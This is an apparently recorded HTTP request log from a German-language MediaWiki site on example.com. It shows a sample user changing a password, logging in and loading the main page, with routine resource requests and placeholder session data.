{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=watchlist&format=original&lang=de&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=de&modules=skins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=4tkdqajchdv6ft3qklvjmb4lupneqbe8; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=1%401794352698%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
|
||||
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=userAvatar&format=original&lang=de&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=de&modules=skins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=4tkdqajchdv6ft3qklvjmb4lupneqbe8; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=1%401794352698%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
|
||||
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=settings&format=original&lang=de&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=de&modules=skins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=4tkdqajchdv6ft3qklvjmb4lupneqbe8; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=1%401794352698%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
|
||||
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=logOut&format=original&lang=de&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=de&modules=skins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=4tkdqajchdv6ft3qklvjmb4lupneqbe8; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=1%401794352698%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
|
||||
{"method": "GET", "target": "/index.php/Spezial:Anmeldeinformationen_%C3%A4ndern/MediaWiki%5CAuth%5CPasswordAuthenticationRequest", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=4tkdqajchdv6ft3qklvjmb4lupneqbe8; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=1%401794352698%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
|
||||
{"method": "GET", "target": "/load.php?lang=de&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.ooui.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php/Spezial:Anmeldeinformationen_%C3%A4ndern/MediaWiki%5CAuth%5CPasswordAuthenticationRequest", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=4tkdqajchdv6ft3qklvjmb4lupneqbe8; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=1%401794352698%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
|
||||
{"method": "GET", "target": "/load.php?lang=de&modules=jquery%2Coojs%2Coojs-ui-core%2Coojs-ui-widgets%7Cjquery.client%2ClengthLimit%2Cspinner%7Cjquery.spinner.styles%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2Chtmlform%2CjqueryMsg%2Clanguage%2Cmisc-authed-ooui%2Cstorage%2Cuser%2Cutil%2Cwidgets%7Cmediawiki.htmlform.ooui%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.special.changecredentials%7Cmediawiki.widgets.visibleLengthLimit%7Coojs-ui-widgets.icons%7Coojs-ui.styles.icons-content%2Cicons-editing-advanced%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=1k28j", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Accept: */*", "Referer: http://example.com/index.php/Spezial:Anmeldeinformationen_%C3%A4ndern/MediaWiki%5CAuth%5CPasswordAuthenticationRequest", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=4tkdqajchdv6ft3qklvjmb4lupneqbe8; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=1%401794352698%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
|
||||
{"method": "POST", "target": "/api.php?action=validatepassword", "headers": ["Host: example.com", "Content-Length: 143", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Accept-Language: de-DE", "Origin: http://example.com", "Referer: http://example.com/index.php/Spezial:Anmeldeinformationen_%C3%A4ndern/MediaWiki%5CAuth%5CPasswordAuthenticationRequest", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=4tkdqajchdv6ft3qklvjmb4lupneqbe8; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=1%401794352698%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": "action=validatepassword&format=json&password=Z%3E%22%7BZ%5CQDwqBQs%25v%7D%60nBu&formatversion=2&errorformat=html&errorsuselocal=true&uselang=de"}
|
||||
{"method": "POST", "target": "/index.php/Spezial:Anmeldeinformationen_%C3%A4ndern/MediaWiki%5CAuth%5CPasswordAuthenticationRequest", "headers": ["Host: example.com", "Content-Length: 333", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept-Language: de-DE", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php/Spezial:Anmeldeinformationen_%C3%A4ndern/MediaWiki%5CAuth%5CPasswordAuthenticationRequest", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=4tkdqajchdv6ft3qklvjmb4lupneqbe8; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=1%401794352698%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": "title=Spezial%3AAnmeldeinformationen+%C3%A4ndern%2FMediaWiki%5CAuth%5CPasswordAuthenticationRequest&password=Z%3E%22%7BZ%5CQDwqBQs%25v%7D%60nBu&retype=Z%3E%22%7BZ%5CQDwqBQs%25v%7D%60nBu&wpusername=&wpEditToken=5568a8e4b9211e69614b1ae1194c7f016af3a63b%2B%5C&wpAuthToken=629fad74e2a9259896c7a10ad3c323246af3a63b%2B%5C&authAction=change"}
|
||||
{"method": "GET", "target": "/load.php?lang=de&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.ooui.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php/Spezial:Anmeldeinformationen_%C3%A4ndern/MediaWiki%5CAuth%5CPasswordAuthenticationRequest", "Accept-Encoding: gzip, deflate", "Cookie: my_wikiUserID=3; my_wikiUserName=Beispielnutzer; UseDC=master; my_wiki_session=jo9c7tpgkigl1rrolnol4gfejacn8nbo; cpPosIndex=2%401794352700%237671c2c53093b0ca272aa2d825d0a65d"], "body": ""}
|
||||
{"method": "GET", "target": "/load.php?lang=de&modules=jquery%2Coojs%2Coojs-ui-core%2Coojs-ui-widgets%7Cjquery.client%2ClengthLimit%2Cspinner%7Cjquery.spinner.styles%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2CjqueryMsg%2Clanguage%2Cmisc-authed-ooui%2Cstorage%2Cuser%2Cutil%2Cwidgets%7Cmediawiki.htmlform.ooui%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.special.changecredentials%7Cmediawiki.widgets.visibleLengthLimit%7Coojs-ui-widgets.icons%7Coojs-ui.styles.icons-content%2Cicons-editing-advanced%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=12dem", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Accept: */*", "Referer: http://example.com/index.php/Spezial:Anmeldeinformationen_%C3%A4ndern/MediaWiki%5CAuth%5CPasswordAuthenticationRequest", "Accept-Encoding: gzip, deflate", "Cookie: my_wikiUserID=3; my_wikiUserName=Beispielnutzer; UseDC=master; my_wiki_session=jo9c7tpgkigl1rrolnol4gfejacn8nbo; cpPosIndex=2%401794352700%237671c2c53093b0ca272aa2d825d0a65d"], "body": ""}
|
||||
{"method": "GET", "target": "/index.php/Spezial:Anmelden", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||
{"method": "GET", "target": "/load.php?lang=de&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.codex.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.special.userlogin.common.styles%7Cmediawiki.special.userlogin.login.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php/Spezial:Anmelden", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=eodtjgih9kbvcamkpkb68vmnv4791hdt"], "body": ""}
|
||||
{"method": "GET", "target": "/load.php?lang=de&modules=startup&only=scripts&raw=1&safemode=1&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Accept: */*", "Referer: http://example.com/index.php/Spezial:Anmelden", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=eodtjgih9kbvcamkpkb68vmnv4791hdt"], "body": ""}
|
||||
{"method": "GET", "target": "/resources/assets/change-your-logo-icon.svg", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Spezial:Anmelden", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=eodtjgih9kbvcamkpkb68vmnv4791hdt"], "body": ""}
|
||||
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=menu&format=original&lang=de&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=de&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.codex.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.special.userlogin.common.styles%7Cmediawiki.special.userlogin.login.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=eodtjgih9kbvcamkpkb68vmnv4791hdt"], "body": ""}
|
||||
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=ellipsis&format=original&lang=de&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=de&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.codex.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.special.userlogin.common.styles%7Cmediawiki.special.userlogin.login.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=eodtjgih9kbvcamkpkb68vmnv4791hdt"], "body": ""}
|
||||
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=userTalk&format=original&lang=de&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=de&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.codex.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.special.userlogin.common.styles%7Cmediawiki.special.userlogin.login.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=eodtjgih9kbvcamkpkb68vmnv4791hdt"], "body": ""}
|
||||
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=userContributions&format=original&lang=de&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=de&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.codex.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.special.userlogin.common.styles%7Cmediawiki.special.userlogin.login.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=eodtjgih9kbvcamkpkb68vmnv4791hdt"], "body": ""}
|
||||
{"method": "GET", "target": "/resources/src/mediawiki.special.userlogin.login.styles/images/glyph-people-large.png?707d6", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=de&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.codex.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.special.userlogin.common.styles%7Cmediawiki.special.userlogin.login.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=eodtjgih9kbvcamkpkb68vmnv4791hdt"], "body": ""}
|
||||
{"method": "GET", "target": "/resources/assets/poweredby_mediawiki.svg", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Spezial:Anmelden", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=eodtjgih9kbvcamkpkb68vmnv4791hdt"], "body": ""}
|
||||
{"method": "GET", "target": "/load.php?lang=de&modules=jquery%7Cjquery.client%2ClengthLimit%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2Chtmlform%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=jkzyg", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Accept: */*", "Referer: http://example.com/index.php/Spezial:Anmelden", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=eodtjgih9kbvcamkpkb68vmnv4791hdt"], "body": ""}
|
||||
{"method": "POST", "target": "/index.php/Spezial:Anmelden", "headers": ["Host: example.com", "Content-Length: 219", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept-Language: de-DE", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php/Spezial:Anmelden", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=eodtjgih9kbvcamkpkb68vmnv4791hdt"], "body": "title=Spezial%3AAnmelden&wpName=Beispielnutzer&wpPassword=Z%3E%22%7BZ%5CQDwqBQs%25v%7D%60nBu&wploginattempt=Anmelden&wpEditToken=%2B%5C&authAction=login&force=&wpLoginToken=11794fbe451c06fec8d46bece48fabdb6af3a641%2B%5C"}
|
||||
{"method": "POST", "target": "/index.php/Spezial:Anmelden", "headers": ["Host: example.com", "Content-Length: 272", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept-Language: de-DE", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php/Spezial:Anmelden", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=eodtjgih9kbvcamkpkb68vmnv4791hdt"], "body": "title=Spezial%3AAnmelden&wpName=&wpPassword=gJ%3CEcT%29jhZ%27%60GC%3EcX%7EhM&retype=gJ%3CEcT%29jhZ%27%60GC%3EcX%7EhM&wploginattempt=Mit+der+Anmeldung+fortfahren&wpEditToken=%2B%5C&authAction=login-continue&force=&wpLoginToken=f10651d983c774ff6157b6727ba949c66af3a642%2B%5C"}
|
||||
{"method": "GET", "target": "/index.php/Hauptseite", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php/Spezial:Anmelden", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=6utcdt9ec701s0tluji4v5r3uus5evqv; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=3%401794352707%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
|
||||
{"method": "GET", "target": "/load.php?lang=de&modules=skins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php/Hauptseite", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=6utcdt9ec701s0tluji4v5r3uus5evqv; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=3%401794352707%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
|
||||
{"method": "GET", "target": "/load.php?lang=de&modules=startup&only=scripts&raw=1&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Accept: */*", "Referer: http://example.com/index.php/Hauptseite", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=6utcdt9ec701s0tluji4v5r3uus5evqv; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=3%401794352707%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
|
||||
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=watchlist&format=original&lang=de&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=de&modules=skins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=6utcdt9ec701s0tluji4v5r3uus5evqv; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=3%401794352707%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
|
||||
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=userAvatar&format=original&lang=de&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=de&modules=skins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=6utcdt9ec701s0tluji4v5r3uus5evqv; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=3%401794352707%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
|
||||
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=settings&format=original&lang=de&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=de&modules=skins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=6utcdt9ec701s0tluji4v5r3uus5evqv; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=3%401794352707%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
|
||||
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=logOut&format=original&lang=de&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=de&modules=skins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=6utcdt9ec701s0tluji4v5r3uus5evqv; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=3%401794352707%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
|
||||
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=star&format=original&lang=de&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=de&modules=skins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=6utcdt9ec701s0tluji4v5r3uus5evqv; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=3%401794352707%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
|
||||
{"method": "GET", "target": "/skins/Vector/resources/skins.vector.styles/images/link-external-small-ltr-progressive.svg?fb64d", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=de&modules=skins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=6utcdt9ec701s0tluji4v5r3uus5evqv; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=3%401794352707%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
|
||||
